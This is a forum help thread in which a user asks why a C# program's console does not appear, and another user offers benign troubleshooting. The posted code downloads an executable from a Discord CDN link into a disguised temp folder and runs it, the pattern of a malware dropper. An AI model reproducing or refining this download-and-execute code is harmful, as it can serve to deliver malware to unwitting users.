C# Console dont appear when Process.Start fires

xMaini 1 Reputation point
2021-10-19T15:03:28.17+00:00

Hi,
So i made an code in C# that starts an programm, but when i use Process.Start the console didnt opens. Heres the code:

string tempPath = System.IO.Path.GetTempPath();
        Directory.CreateDirectory(tempPath + "\\{7FG636E4-82DK-8IA3-J81C-UA8I7HG38N387G\\E47297G3F46AB19");

        string URL = "https://cdn.discordapp.com/attachments/892864626197413939/897150039661625445/output.exe";
        string File = tempPath + "\\{7FG636E4-82DK-8IA3-J81C-UA8I7HG38N387G\\output.exe";

        //Webclient
        WebClient webClient = new WebClient();

        webClient.DownloadFile(URL, File);

        Process.Start(File);

Console.WriteLine("Hello");

I hope someone can help me,
LG xMaini

.NET CLI
.NET CLI
A cross-platform toolchain for developing, building, running, and publishing .NET applications.
322 questions
{count} votes

1 answer

Sort by: Most helpful
  1. Michael Taylor 47,806 Reputation points
    2021-10-19T16:05:18.953+00:00

    Capture the return value from Process.Start. There could be any # of things that could go wrong. You're trying to run an EXE from the Internet I wonder about the file being blocked by Windows (check the file's properties in Windows Explorer).

    0 comments No comments